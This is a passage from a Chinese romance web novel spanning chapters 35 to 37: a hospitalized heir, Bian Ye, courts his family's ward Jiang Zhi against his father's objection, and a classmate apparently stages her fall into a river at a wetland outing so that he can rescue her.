“那不然?”他勾唇,“你觉得还有谁会陪我在这儿浪费一晚上。” 姜栀削苹果的动作一顿,竟不知道该说点什么。 “那……” “可怜我?”他低笑,“可怜我晚上就在这陪我。” 姜栀没说话,把正好削完的苹果递给他,“吃吧。” 他示意了下自己手,“疼死了拿不动。” “那还有另个手。” 边野把手往边上一撇,“也不行,没力气,一点都没。” “喂我呗,就当喂狗了。” 姜栀愣了下,这什么形容? 她拿着小刀挖下一块,用刀尖扎着递到他嘴边。 边野见状,舌尖抵了抵牙关,气笑,“真有你的。” 随后一口咬下。 她扎了第二块递过去的时候,他淡淡扬眉,“怎么以前不知道你有这么多小聪明。” “什么?” “没什么。”他噙着笑,真是单纯得可爱。 护士推着车进来换药。 看见这一幕忍不住打趣:“边少的小女朋友真是体贴,长得还这么漂亮,边少好福气呀。” 姜栀立马缩回了手,边野张嘴咬了个空。 “没有,我们只是……” 同学二字还没说出声,她就听到边野懒淡的声音:“可不是呢。” 护士换好药,看了眼面红耳赤的姜栀,忍不住笑起来,“边少,你小女朋友真可爱。” 说着,推着小车走出去。 “第二次了边野。”她鼓了鼓腮帮,有点不满。 边野眼底笑意散去一些,“嗯,事不过三。我知道。” 她把余下的果肉切成块放进盘子里,“用刀扎着吃不费力气。”姜栀说完起身要往外走,被他眼疾手快一拉。 “真生气了?”边野声音低下来,“真要把我这个病人丢在这里吗?” “疼。” 姜栀回头看他,少年眉眼里带着些可怜意味。 “没。”她也不知道自己怎么会突然改变主意,明明是准备回边家的,“我行李在楼下,总不能一直放在下面。” “我去拿上来。” “真的?”他试探,“不是骗我?” 姜栀:“……嗯,没骗你。” 边野低笑一声,松了手放她出去。 漆黑的瞳眸一直盯着她,直到她从病房里出去看不见了才收回视线。 宋言旭的视频紧接着打来。 他形容懒散地靠在床头接了。 “哟,今天怎么这么高兴?”宋言旭挑眉调侃。 边野也不藏着掖着,“是啊,想见的人回来了呗。” “啧啧啧。”宋言旭摇头晃脑,“你说你有今天,当初就不该那么对人家,说不准这会儿都追到手了。” “少提。”他拧眉。 “行行行。”宋言旭顺着他道:“不过我觉得你这样不行,太慢了,就野哥你这速度,姜妹妹要是被别人抢先了怎么办。” “我得给你想想办法。” 边野挑眉,“成啊,你要是给我出个好主意,结婚你坐我头上都很成。” “哎别别,这多不好。” 边野白他一眼:“直知道还不边儿去。” “对了,说正事。”宋言旭一下子正经起来,“你这次被车擦到摔伤还真不是意外,开车的那个人跟你爸的助理有过一笔交易。” “苏明歆……”边野眉眼冷厉,他低嗤一声,“果然是她。” “你知道是她还让我查?” 他凛着眸色,“证实一下罢了。” “看来是已经藏不住狐狸尾巴了。”边野慢条斯理地开口,眼底透着寒意。 “那要对付她吗?”宋言旭凝眉,“她狼子野心,你现在还没进公司呢,只是去公司见了趟你爸,就敢这么对付你了,下一次说不定就是要你的命了。” “不急。”边野神色淡淡,“要把人逼到无路可退,才精彩。” “不过我很好奇,你不拒绝进公司吗?她肯定知道你跟你爸不对付,何必要对付你。” 边野讽刺低嗤,“她想看到我被养废,可惜现在事与愿违,又不知道我跟老东西说了什么,有危机感,很正常。” 宋言旭:“……恶毒,真是恶毒,偏偏你爸还那么相信她。” “他瞎我可不瞎。” 外面传来推行李的声音,他神色懒淡:“行了,你继续让人盯着,挂了。” 门把手被转下,姜栀放轻脚步走进来。 边野放下手机,从病床上下来。 “你去哪儿?”她把行李放到一边。 “洗澡。” 姜栀:“……?” “你这样怎么洗?” “硬洗。”边野神色淡淡,“不然你给我洗?” 姜栀尴尬了一秒,“那……那你还是自己洗吧,小心点儿。” “嗯。” 等边野走进浴室,她背着书包到桌边坐着,从里面拿出书本。 还有临走前奶奶塞在包里的饼。 病房里有微波炉,她有点饿就去热了一个。 边嚼边看书。 吃到一半时,里面突然传来一道沉重的闷哼声,惊得她险些咬了舌头。 意识到什么,姜栀放下饼跑到浴室前。 想到上回的乌龙事件,她试探性的敲了敲门。 “边野?”她有点担心,“边野你怎么样?” 等了片刻,浴室门打开,他从里面出来,完好的那只手捂着后背,眉头紧皱,一脸痛苦。 “是撞到了吗?疼不疼?”姜栀见他这样吓了一跳。 边野皱眉“嗯”了一声,“扶我,走不稳路了。” 姜栀赶紧扶住他手臂,“你撑在我身上吧,我扶你去床上。” “嗯。”他比她高出一截,但也只轻压在她身上,自己撑着力道。 垂眸看着姜栀脸上的担忧,他嘴角轻微勾起。 被扶着在病床边坐下时,他手上力道故作不经意地重了下。 姜栀没站稳,径直跌进了他怀里,嘴角擦着他的脸颊而过。 她脑子嗡的一声,怔在原地。 小小一只就在怀里,边野勾唇,眼底是得逞的笑意。 离得近,她能闻到他刚洗完澡的清冽气息。 还带着散发的荷尔蒙。 姜栀呼吸一滞。 很快,他故意轻“嘶”。 姜栀反应过来,立马从他怀里退开,脸颊耳朵红了个透,“对……对不起,我不是故意的,对不起……” “嗯,我信你。”他眼角眉梢带着点懒散的笑。 姜栀更羞愧了。 “会吹头发吗?” 姜栀点头:“会。” 他拿出吹风机递给她,“帮我吹干吧。” 姜栀接过,但她没有给别人吹过,只能试着给他吹。 她指腹柔软,穿过他头发,不时落在头皮上,有种很舒适的触感。 边野坐在病床上,炽亮的灯光把窗户映的发亮,映出她小巧的身影和温柔漂亮的脸。 他勾唇,刚想说点什么,头皮一烫。 “嘶——” “对不起!”姜栀吓了一跳,赶紧把吹风机拿远点,“我刚没注意离太近了,对不起……” 他回头,抬手握住她腕骨,往后退了点,“这里,最佳距离。” 温热略带薄茧的触感隔着皮肤传来,姜栀定定地迎着他的目光。 他瞳眸漆黑,眼底映出她面孔。 病房安静得过分,她几乎能听见他的呼吸声。 “发什么呆呢?”边野勾唇,笑得宠溺。 “没……” 她眼睫微颤,慌乱地错开视线。 第36章 第 36 章 在边野各种折腾下, 姜栀决定先在病房的套间内住一晚。 一直到第二天陪着他吃完午饭,她才拎着行李箱出了病房。 她前脚刚走,老边总后脚就来了。 听到病房门推开, 边野勾唇, “舍不得走……”视线触及到老边总的瞬间, 脸色一秒冷下来, 厌弃之色藏都藏不住。 “你来干什么?” 老边总商场里沉浮这么多年, 刚刚那一出他看得清楚, 心里明镜似的。 “我听护士说, 你有个小女朋友来照顾你,怪不得见我就烦。”他在病床前坐下,姿态沉稳。 “关你屁事。”边野懒得搭理他,单手开了平板游戏。 把他当空气一样。 “怎么跟你爸说话的。”老边总嗔他一句,但早已习惯他这幅鬼样子。 “你那小女朋友是知知吧?” 边野玩游戏的手指一顿,游戏小人被敌方砍了一刀, 没理会他。 老边总心里了然, 半是认真半是开玩笑道:“我知道你不想听我说话,但知知你不能碰,她名义上还是你妹妹,你作为她哥哥,你这样不道德也不像话。” “哪门子妹妹?”他从平板上抬眼,眸底漆黑冰冷,“她是姓边还是上了边家户口?” “你有空管她,不如管管自己的裤腰带, 别四处留情。” “你这混小子, 说什么浑话!” 尽管知道他什么脾气,老边总还是轻易地被他气到, “我这是为你为她着想,你不能这么自私。” 站在病房门外的姜栀低垂着眼睫,握着行李箱拉杆的手下意识收紧了下。 她走到半路才想起来落下了一本书,返回来取。 却没想到边叔叔来了。 “什么叫自私?”边野觉得可笑,满脸讽刺,“你抛弃我妈算不算自私?让我十几年来活得像个孤儿算不算自私?你以为谁都跟你一样,喜欢移情别恋吗?” 老边总拧眉沉脸,许多话欲言又止,最终只是沉了口气,“我没有喜欢过除你妈外的任何一个人,我知道你不信。” “知道还有必要说?”他讥笑一声,“人死了来哭坟,做给谁看?” 很难听很刺耳的话,老边总却没发怒。 他沉着脸,默了几秒后才开口:“关于你妈的事,我没资格说什么。”他目光紧盯着边野,“但姜栀,我只要还活着,就不可能同意你们在一起。” “用得着你同意?”他冷嗤。 “你骨头硬,但知知是个好孩子,你听不进去,不代表她听不进去。” “你敢!”边野气得牙关紧咬,眸光冷厉。 老边总起身,看着他这副极为认真的模样,内心沉重。 “我不是威胁你,只是不愿意看到你们走歪路,你如果要一意孤行,我也会采取我的办法。小野,你已经十九了,不是个孩子了。” 他语重心长,“你有想过,如果传出去,外界真的在意她是不是你妹妹吗?你不为边家考虑,也要为她考虑,你就不怕她因此受到重创?” “我上回就跟你说过,你拎拎清楚,我没跟你开玩笑。” “这跟你无关。”边野视线紧紧凝着她,“不要去找她,不然我跟你鱼死网破。” 像个被刺激到的小狼崽子,浑身都是刺。 老边总看着他,沉默了片刻。 “现在回头还来得及,你自己好好想想。” 他说完,往门外去。 听到脚步声,姜栀莫名有点慌张,推着箱子坐在稍远一点的长椅上。 病房门打开,老边总从里面出来。 见到她在这儿乖乖巧巧地坐着,心底先是默默叹了口气,随后慈爱一笑,“知知,来看小野啊。” 姜栀迟疑了一瞬,礼貌点头。 “去吧。”他笑得平易近人,一点也没有刚刚病房里跟边野剑拔弩张的样子。 “嗯。” 她推着箱子进去,边野火气未消,“滚!别来烦我!” 姜栀握着门把的手僵了下,声音弱弱:“……我东西落下了。” 他眼皮一跳,怔了下。 “抱歉,我不是冲你。”他把平板往边上一丢,靠着床背,轻吐了口气。 姜栀捕捉到眼底一闪即过的疲惫,想到刚刚听到的那些话,一时不知道说什么。 “嗯……”她轻轻应了声,走到内间去拿东西。 出来时,她没看边野,准备走却被边野叫住。 “出去一趟这么冷淡?也不知道跟我告个别?”他又恢复了那股散漫随性的模样。 姜栀觉得自己待在这里有种说不上来的尴尬,“我……我先……” “是不是听到了。” 他嗓音很淡,没什么起伏,似乎笃定。 “什么?”她握着拉杆的手紧了紧。 “刚刚那老东西说的话,是不是都听到了?”边野温沉的目光落在她身上,“就当他说的话是放屁,知道吗?” “我、我没听到。”她抿了抿唇角,“我先走了。” 看着她乖乖走出去,又把门轻轻带上,边野低嗤了一声。 撒谎都不会。 怎么这么笨。 姜栀坐了公交回边家,一声不吭地收拾行李。 ——你有想过,如果传出去,外界真的在意她是不是你妹妹吗?你不为边家考虑,也要为她考虑,你就不怕她因此受到重创? 她挂衣服的手轻轻一顿,眸色暗下来。 边叔叔说的对。 她不可以拖累边家和边野,边家容她寄宿,已经很好了,别给别人添麻烦。 姜栀安安静静地把东西收拾好,就开始温书。 医院那边,她没有再独自一个人去,每次不是跟着管叔,就是随着奶奶。她原本还担心边野会强行留下她一个人。 但没有。 他好像也默认了她这种行为。 姜栀默默松了口气。 边野出院时圣嘉已经开学了近两个月。 这两个月里,她很少再有时间去医院,和他见面的次数竟也屈指可数。 好像他们两个又回到了最开始认识的模样。 淡淡的没什么交集。 池念一开始还奇怪地问他,但被她敷衍过去。 到后来,她也没再问什么。 四月初,学校举办踏青活动,每个班的学生都要参加。 地点定在清远湿地。 踏青那天早上,姜栀收拾了很多东西放包里。 杜曼蓉领队带着他们做了车到圆门外,剩下的路就要徒步进去,近三公里的路,不算长也不算短。 池念向来不喜欢锻炼,这种事简直跟要了她的命一样。 她拉着姜栀慢吞吞走在队伍后面,忍不住吐槽:“救了个大命,为什么好好的非要让我们踏青,还要让我们徒步,身上书包还这么重,有这工夫不如给我放两天假。” “来都来啦,就一起看看风景嘛,这个时候不冷不热的,踏青其实也很舒服的。”姜栀声音软软地安抚她。 “说的也是,得亏我带了相机,”但转眼瘪嘴,“但真的好重啊,我的老腰都要——” 池念说到一半,突然没了声音。 “怎么了?”她看向她,有点不解。 “知知,你往后看看,那是不是……” 她顺着池念指着的方向看过去,“边野?” 她话音落下,姜栀的视线正好触及到那道高挺的身影。 带着侵略性的五官,不笑时透着冷意,有种生人勿近的戾气。 “我靠,他怎么来了?”池念有点震惊,看了姜栀一眼又觉得不那么震惊了,“肯定是冲你来的。” 姜栀愣了下,算起来,她已经有半个多月没见过他了。 “东区虽然也有踏青活动,但去的地方比我们高大上多了。知知,你魅力是真大,我还以为他这么长时间没来找你是有新欢了。” 池念忍不住感叹,“没想到啊,咱们浪荡无边的边少居然还是个情种。” “别瞎说。”姜栀听她说得越来越过火,轻轻碰了她一下,“我们不是那种关系,而且……我也不想跟他有什么关系。” 她声音温温的,收回视线拉着池念往前走,“我们走吧,不然跟不上大部队了。” “啊?”池念愣了下,又瞥了眼逐渐走近的少年,欲言又止,最后还是点点头,“行,咱们走快点。” 边野原本以为她要在那儿等他,却没想到她反而加快了脚步。 仿佛没看见他似的。 可他确定,她看见他了。 边野胸口像是堵着口气,被海绵压着,有点闷。 知道他跟在后面,姜栀一路心不在焉。 背后忽然一轻,她吓了一跳。 一回头,边野一手提着她的书包,悬空状态下,她身上没什么份量。 他没说话,将书包带子从她肩膀上褪下来。 “松手。” 边野气息低沉。 池念吃瓜的视线在他们之间反复打量,她感觉到一丝说不上来的微妙。 姜栀没有听,余光环视了四周,很多人。 “我自己背得动,不用劳烦你的。”她迎着他的眼神,很直白地说。 他恍若未闻一般,“松手,我给你拿。” 姜栀没再说话。 两个人僵持在原地,没有针锋相对,可池念就是觉得不太舒服。 “知知?”她轻轻戳了戳姜栀。 姜栀移开视线。 算了,他喜欢拿就让他拿吧。 她松手,任由边野将书包背在自己肩上。 池念握着姜栀的手,眼眸动了动,“真羡慕你呀知知,剩下这一路不用背包也太爽了吧。” “那我帮你背。”她伸手就去替池念拿。 还没到她手上,一只手突然横过来,直接拿走。 “哎——”姜栀愣了下。 池念压着得逞的小心思,故作不好意思的模样,“那就……麻烦边少啦。” 说完,她就拉着姜栀往前走。 边野拎着两个书包,低嗤一声。 “知知,你们是不是……吵架了?”池念这时候忽然聪明起来,“必须说实话,不许弧我了。” 姜栀:“……不算吧。” 她迟疑了几秒,“我们之间说起来比较麻烦,不是一两句能说清的。” “算啦算啦,你不想说就不说吧。”池念挽着她往前走,不时往后瞥两眼,边野勤勤恳恳地当着小跟班,虽然冷着个脸,但一左一右两个粉嫩的书包看起来倒是有点搞笑。 这一幕落在队伍前面的程杭越眼里,他捏紧了手心,阴沉的眸子一寸一寸暗下来。 “真没想到啊,有一天也能使唤的动边家的大少爷。”池念小声蛐蛐,忍不住感慨。 姜栀:“我其实感觉……有点不自在。” “没事的,反正我们都在队伍最后面,杜老师也看不到。”池念地地道道分析,“不过……你要是真不想跟他呆在一起,我有办法。” “嗯?”她眨巴了下眼。 池念暗戳戳瞥了眼后面的人,极小声的在她耳边说悄悄话。 听完,姜栀愣了下,“能行吗?” “包的。”她得意挑眉,“不信你就试试。” 落后几步距离的边野看着身形纤瘦的少女,想到老东西来的那天,那种躁意就止不住的浮出来。 “边野。” 他还沉浸在思绪里,忽然听到轻轻软软的嗓音,“嗯?” 姜栀顿了顿,“我有点渴,忘记带水了,你可不可以……” 她眼观鼻鼻观心地试探。 “在这等着。”边野把书包放在旁边的石椅上。 “等我回来。” “嗯。”她乖乖点头。 边野一走,池念就凑过来,“看看看看,我没说错吧,只要是你说的,他根本不思考对错。咱们都来踏青了,怎么可能不带水呢。” 姜栀看着他逐渐远去的背影,心底的愧疚弥漫上来。 “知知,”池念轻叹了口气,“他是真的很在意你,虽然不知道你们为什么变成现在这样,但是从这儿到卖水的地方,来回少说也要半个多小时。” “一个贵公子能做到这份上,很难得。” 姜栀站在原地怔忪地看着,直到看不见人影,她才背起书包。 “池念,我们走吧。” “行。” 进了清远湿地,杜曼蓉定了个集合的点就让大家自由活动。 池念不喜欢跟别人凑在一起,就拉着姜栀找了个偏于角落,人不多,风景还好。 “知知,我们快来合个影。” 池念朝她招手,姜栀温软一笑,陪着她在一棵古树前拍照。 “知知,你好上镜啊。”池念翻着相机,夸赞连连。 “我去那边找找有没有更出片的区域。”她朝那边看了看,问姜栀,“知知,你要不要跟我一起去?” 姜栀笑着摇头,“你先去吧,我在这儿休息会儿。” “行,那我先去,等会儿回来找你。” 姜栀莞尔,从书包里拿出野餐布铺在青绿的草坪上坐下。 这时节还有点凉意,风吹来时带着泥土的清新气味,很好闻。阳光柔软地落在万物上,她闭着眼,感受春意。 片刻后。 “姐姐!” 一道软糯的声音传进耳里,衣服被人轻轻拉扯。 姜栀睁眼,看到个四五岁的圆脸小女孩。 “有事儿吗?”她疑惑出声。 “姐姐,那边有人找你,让我来叫你过去。”小女孩指着西北边。 姜栀顺着看过去,眨了眨眼。 那不是先前池念离开的方向吗?看来是选到好地方了,让人来叫她。 “谢谢你呀。”她起身拍拍裤子走过去。 靠在大石块边的池念翻着自己刚刚拍的这么多照片满意得不得了,“得叫知知也过来多拍几张。” 她抱着相机小跑着回古树边时,地上铺着浅绿色的野餐布,她们俩的书包也在,唯独没有姜栀的身影。 “去哪儿了?”她四处环望。 “知知?知知!”池念边走边喊。 “东西都还在这儿呢,人会去哪儿?”她疑惑地往前走。 湿地古树往西,人越发稀少。 这边没什么特别的风景,植被也比较普遍。 姜栀总觉得有点奇怪,这儿不像是她会喜欢的,“池念?” 她一路往前,沿着河岸边的小道走。 “池——” 话刚出口,一股重力猛地从后面袭来。 姜栀毫无反应之力,只觉得身体不受控制往前一跌,“咚”的一声掉进了河里,溅起一片水浪。 一切只在眨眼间。 冰冷的水灌进嘴里鼻子,她呛得难受,“救命!救——” 水温很低,冻得她连挣扎都施展不开。 “救……命!” 附近人虽少,但仍旧有人听到她的呼救。 远远有人跑过来。 “不好了,有人落水了!” “快叫保安来救人!” 窸窸窣窣的脚步声,此起彼伏的叫喊,姜栀在水里浮浮沉沉,挣扎的力度越来越小。 “有没有人救救这小姑娘,她快不行了!” 岸上人急切地喊叫,几个男人犹犹豫豫。 “救……” 姜栀眼前意识模糊,逐渐往下沉。 闭上眼之前,她好像看见了好多人围过来。 一道扑通声响起,冰冷中,有人一把拉住了她。 “姜栀,一定要撑住。” 程杭越抱着她,一路往岸边游过去。 “快,搭把手!” 岸上的围观群众见程杭越游近,纷纷过去拉他们。 姜栀已经不省人事,他把人安稳的放在地上,周围全是人,他招了招手,“都散开一点,给一点空气,谢谢。” 他双手叠着按压在姜栀胸口上。 这是他第一次这么近距离的接触姜栀,虽然因落水还没醒过来,头发湿润的黏在脸上,可依旧漂亮得惊心动魄。 他眼睛死死地盯着她的脸,她的唇。 按压几下后,程杭越刚准备人工呼吸,姜栀就猛地呛醒了。 “咳咳……” 水呛出来,她缓慢地睁开眼睛。 他沉着脸跪在一边。 眼底闪过一丝不满。 “醒了醒了!” “醒了就好,小姑娘,以后可千万不要再寻短见了,生命只有一次啊,好好活着比什么都强的!” “……” 周围人七嘴八舌地劝慰,姜栀听不明白,只觉得头很晕。 “程杭越,你怎么……” 她刚开口,程杭越就径直打断了她,“我先带你走。” 姜栀还没反应过来,就被他打横抱起。 “哎——” 她轻呼了一声,眼前还是晕。闭了闭眼,她扯了扯程杭越,“我可以自己走的,你放我一下来吧。” 她现在浑身湿透,他也是。 只要路过有人的地方都会被注目,她不想。 “你刚刚掉水里,走不稳。”他强硬拒绝。 姜栀试图挣扎着下来,但四肢经过刚刚那一遭已经没什么力气,这点挣扎对于程杭越来说简直是毛毛雨。 这时节还不算暖,她此刻冷得发抖,只是挣扎了几下就已经软得没劲了。 程杭越往着人群多的地方走,她难堪得偏过头。 “哎,那不是校花吗?” “怎么全身都湿了,还跟程杭越抱在一起,他们俩什么情况啊?” “我去,校花居然会看上他,真是大开眼界,之前不还跟边野搞在一块呢,水性杨花啊,这张脸果然是勾引谁都轻轻松松。” “……” 这些话像潮水一样涌向带着水找过来的边野。 他在人群之外,看不到前面的情况,却被这些逐渐难听的话吸引了注意力。 边野快步走过去,“让让。” 圣嘉的学生认识他,纷纷给他让道。 他一眼看见朝这边走来的程杭越,还有……藏着脸的姜栀。 即便只露出了四分之一,他也能认得出。 一股无名怒火噌的一下冲上天灵盖。 边野握着瓶子的手紧捏到发白,冷意自眼底迸发。 在程杭越靠近前,他冲过去一把夺过了男生怀里的姜栀。 霸道而不讲理。 “离他远点,”边野咬牙切齿,“不要让我看见第二次。” “不然,我弄死你。” 他眉眼阴沉冷厉,周身寒意四射。 边野带着姜栀转身就走,程杭越看着他的背影,视线收回落在自己湿透的衣服上,眼底闪过一抹讥笑。 总算……成功了。 他摩挲着碰过姜栀的手指,缓缓放在唇边。 “边野,你……” 姜栀刚开口,就被他喝止,“闭嘴。” 他眉眼冷得厉害,眼底怒意几乎克制不住。 清远湿地里有特供休息的地方,一般不开放,边野打了个电话,轻而易举地带着她一路往里。 休息室里安静得厉害,他把人放下,拿了前台提前准备好的干净衣服丢给她。 “换上。” 姜栀头晕晕的,没有力气跟他争执。 她拿着衣服进了浴室,冲了个澡换上,出去前没忍住打了个寒颤。 “过来。”边野就站在休息室中央,脸色很难看。 她眼睫微垂,抿了抿唇走过去。 “坐。”他声音低沉,不容置喙的调子。 姜栀没说话,乖乖在他面前的沙发上坐下。 边野就这么看着她,也不说话。 气氛阴沉压抑,有种溺水的窒息感。 姜栀心有愧疚,“对不起,我——” “故意把我支开,好跟他相处?”他气息不稳,几乎是咬着牙问,明知道她不是这样的人,但怒意已经占据了他大半的脑子。 “姜栀,我配不上你,他就配得上?!” 她愣住,眉头轻皱,“我没有。” “我去找池念的时候不知道被谁推了下掉进河里,是程杭越救的我,我还没完全清醒的时候,他已经抱起我走了,我不愿意,可我没力气。” 哪怕刚刚冲过澡,她手脚还是发凉,很难受。 边野呼吸颤了下。 他双手压在她两边,将人圈在臂弯间,“姜栀,为什么要丢下我?” 他瞳孔很黑,直视人时仿佛能洞穿人心。 姜栀看着他,眼睫颤了颤偏开脑袋,没有解释,只是满怀歉意地说:“对不起。” 像点燃了炸弹的导火索,他眼尾溢上一丝赤色,“我不要你的对不起,你只会说对不起吗?!” 她觉得压抑,却没有地方撤退。 姜栀捏着自己逐渐发烫的手心,重新对上他的瞳孔,“我们从一开始就只是普通关系,我只是答应了黎姨让你走上正轨,你的喜欢对我来说是负担。” “我不需要。”也不能要。 边野看着她,视线逡巡着她的脸。 片刻,冷嗤一声。 “所以,把我支开是故意的,你不需要我的喜欢,觉得我恶心是吗?” 姜栀眼睫垂下几分,脑子里浮出边叔叔的那些话。 像即将冲破藩篱的逆行者,被硬生生拉了回来。 “嗯。”她违背着良心应。 “你为我付出的那些,我会努力赚钱还你。”边叔叔不希望他们走得太近,她会记住的。 “好……”他几乎气笑,“好得很!” 他低眸看着眼前这个娇小柔软的少女,心口像被针刺了一下又一下。 姜栀抬手挥开他一只手,从沙发上起来。 “我们以后还是保持距离吧,至于你的学习有千万种办法,我随时可以线上帮你。”她平静地说着这些,但心脏却像是被一只大手握住,一点一点收力。 边野站在那儿,看着那堵空白又干净的墙面,身体里的力气似乎在被一丝丝抽走。 “还有吗?” “还有,今天的事,对不起。”她再一次道歉。 她当时只是想支开他,并不知道后面会发生这么多事。 “你很好,但别在我身上浪费时间了,黎姨对我来说很重要,我不想对不起她。”她声音低下去。 边野淡淡扯唇,“说了别给我发好人卡,怎么不记得。” “好,最后一次。”她声音温和。 “我走了,以后……” 她说到这里顿了下,不知道该怎么去说。 算了。 姜栀深吸了口气,朝休息室的门走过去。 “是因为之前病房里的那些话吧?”边野心里知道的七七八八,但却还是忍不住问。 姜栀步子停了停。 他原本就是自说自话,没打算听她说什么,自嘲地笑了笑。 “你不用走,我走。” 边野转身,越过她,开了门走出去。 外面太阳出得更大了些,但他感觉不到半点暖意。 他站在走廊外,抬头去看太阳,好刺眼。 姜栀站在原地,心口莫名难受起来。 她脑袋晕晕的,脸颊和耳朵好像都烧起来了,后背一阵一阵的发冷又发热。 抬手摸了摸额头,好烫。 不能留在这儿了,池念和老师找不到她会着急的。 姜栀把自己的湿衣服找了个袋子装起来,忍着头痛往外走。 眼前逐渐有点模糊重影,她拍了拍脑袋,试图让自己清醒一点。 她走向走廊,还没几步,眼前忽然一黑。 “哎!” 值班的前台看见吓了一跳,赶紧跑过去,“小妹妹?小妹妹?” 她摇了摇姜栀,后者毫无反应,但脸颊红得异常。 前台伸手一摸,“嘶,这么烫,烧得不浅啊。” 前台知道边野的家底,又是见着他把人抱进来的,赶紧给领导打电话。 领导也吓了一跳,立马联系上边野。 手机响了好几次,边野才回神接通。 “边少,您带来的那个小姑娘发烧了晕倒了,您看怎么办,是要给您送过去再找个医生还是?” 边野脚步一顿,沉默了几秒后淡淡道:“你们看着办吧……” 他说完沉了口气,“送医院吧,不用再给我打电话了。” 第37章 第 37 章 姜栀醒来时, 雪白的天花板映入眼底,鼻间还有分明的消毒水味。 她呆呆地盯了会,还没反应过来, 熟悉的圆脸闯入视线, “知知, 你吓死我了知不知道!他们说你掉河里了, 我到处都找不到你人……” 池念红着眼眶, 哭腔止不住, 眼泪啪嗒啪嗒地往下掉。 姜栀缓过神来, 想起自己晕倒前的那些事。 她抬手握住池念,脸色苍白,笑起来依旧显得虚弱,“我没事的,你看我不是好好的吗,别担心了, 嗯?” 池念点点头, 抽噎得厉害。擦掉脸上的泪,她深呼吸好几下才平复好情绪,“知知,我不是让你在原地等我吗,你怎么自己走了,又怎么掉河里的?” 姜栀摇头,“有个小女孩跑过来跟我说有人找我,我以为是你就过去了, 路过河岸边的时候, 有人突然推了我一下。” “有人推你?”池念气不打一处来,“这可是害命, 是犯法的!” 周围病床人看过来,她意识到太激动,把情绪压了压,“要让我知道是谁,绝不会放过。” 姜栀轻轻拍了拍她手背,“算啦,我被救起来的时候注意了下,那地方没有摄像头,应该是找不到的。” 提到这,池念还很奇怪,“你去的地方那么偏的话,程杭越是怎么那么及时救到你的,我总觉得奇怪。” 她摇摇头。 池念想到什么,摸出手机,打开论坛给她看,“现在大家都说英雄救美,很多人对程杭越都改观了,这帖子讨论得热火朝天,但我看着很不舒服。” 姜栀接过手机,神色平静地看完了所有。 虽然她也有很多疑问,但—— “他确实救了我。” 池念叹了口气,“虽说事实摆在眼前,但直觉告诉我,还是要离这个人远一点。知知,你还是要留个心眼,知道不?” 她心口软软,“嗯,会的。谢谢你啊池念。” “嗐,我们什么关系,有什么好谢的。”池念眉眼弯弯地笑起来,随即笑容一顿,一脸八卦道:“知知,我能问你个问题吗?” “嗯。”她点点头。 池念心里琢磨了下,“我听同学们说你是被边野带走的,还是从程杭越手里带走的,但是论坛上没有半张你们的照片,你们……闹矛盾了吗?” 姜栀默了下,眼睫垂下几分,“没。” “那从前你们但凡被拍到,论坛多多少少都有照片,这次怎么会……”她感知到她低迷的情绪。 姜栀平静开口:“我们不是一个世界的人,迟早会界限分明的。” 对他对边叔叔都好。 “那以后?”池念能理解她说的,可到底觉得有点唏嘘。 她能感受到边野对知知的喜欢,不是那种随便玩弄,更像动了真格的那种。 “以后他有他的生活,我念我的书。” 看到池念叹气,姜栀反过来安慰她,“没事的,其实我对当下已经非常满足了。” “你想得开就好啦,男人都不靠谱,我会一直陪着你的。” 池念摸摸她的脸,“长得好看就算了,摸起来还这么软,真是上帝的宠儿。” 她被逗笑,“说什么呢。” 杵在病房门口的程杭越垂着眼睫,墨黑的瞳孔里闪过一丝暗色。 界限分明。 他缓慢勾起唇角,心底逐渐舒畅。 病房里手机铃声响起,池念看了眼接起,半分钟后有些歉意道:“我爸现在找不着我,让我滚回家呢,我晚点再来看你奥。” “没事的,你先回去吧,我这瓶水吊完就回家啦。” “那也行,到家给我报平安。” 姜栀弯弯一笑,“嗯。” 池念从里面出来,程杭越躲在了另个病房里。 直到人离开,他才不疾不徐地敲响了姜栀所在病房的门。 姜栀正准备躺下,看到他来,有点惊讶。 “听说你晕倒了,我担心就过来看看。”程杭越站在病床边看她,像是同学间最普通的关心。 “谢谢。”她声音温软。 气氛安静下来,姜栀琢磨了下,打破氛围,“今天还要谢谢你救了我。” “都是同学,应该的。”他面色淡淡。 “我走得很偏,还好你看见了,不然我的处境可能比现在更危险。”她透亮的瞳眸安静地望着他。 但并没捕捉到任何怪异的情绪。 “确实很偏。”程杭越坦然应对,“我从小孤僻,不喜欢人多的地方,没想到这么巧。” 她顺着应了声,心底升起一丝愧疚。 其实什么证据都没有,就这么怀疑别人,挺不好的。 “姜栀。” 听到他忽然喊自己名字,她愣了下,“……怎么了?” “你……今晚有空吗?”程杭越眼底带着一丝期待,看起来有些局促。 “是有什么事吗?” 程杭越头低了点,“能不能陪我吃顿晚饭?” 姜栀觉得有点奇怪,他们除了这次几乎没有接触,如果不是他真真实实地救了自己,她很难相信辩论赛培训那次下大雨果断拒绝自己借伞的人和现在是同一个。 “今天是我生日。”他头埋得更低了,“我没有亲人。” 刚想拒绝,听到这话,姜栀几乎是什么也说不出了。 对救命恩人这点请求也不愿意的话,好像挺狼心狗肺的。 “好。” “真的吗?!”程杭越惊喜地看她,眼底浮着激动之色。 “嗯,”她声音轻轻,指了指吊瓶,“但要等这瓶吊完。” “没事没事,我可以等的。”他看起来被喜悦冲昏了头,有点手足无措,“我、我在外面等你。” 姜栀还没来得及说话,就见他已经走出去了。 她很轻地吸了吸气- 暮色朦胧。 金霆里光线昏蒙,边野坐在沙发上,脸色淡恹,两手压在张开的双膝上,骨节分明的指间夹着跟猩红的烟,一口没抽,快要烧到皮肤。 宋言旭台球打腻了走过来,看见吓了一跳,赶紧给烟抽走,按灭在烟灰缸里。 “野哥,怎么回事啊?”他抄过玻璃桌上的威士忌灌了一口,“说叫我来打球,怎么自己在这儿坐这么久?” 威士忌太烈,他还是喝不惯,“是跟姜妹妹有关吧。” 边野没应,拿过一整瓶威士忌,撬了瓶盖一口闷了大半瓶。 闷得太急,沾湿了衣领。 “你不说我也很难不知道,论坛上都讨论的热火朝天了。” 宋言旭叹了口气往沙发上一靠。 “讨论什么?” 边野自清远湿地那回来,就直奔金霆,几个小时是一下没碰手机。 倒真不知道论坛里的事。 “你这——” 宋言旭惊住,想说点什么却卡在喉咙里,干脆摸出手机丢过去,“看看看看,这小子摆明要撬你墙角啊。” “野哥你不管管?” 边野淡漠着脸接过,一目十行地扫完,漆黑的瞳眸阴沉得能滴出墨汁来。 “这小子我之前听都没听过,突然冒出来,隐藏得够好啊。”宋言旭往嘴里塞一颗糖,越说越气,“绝对是故意的。” “不知道在姜妹妹身边埋伏了多久。” “随他。” 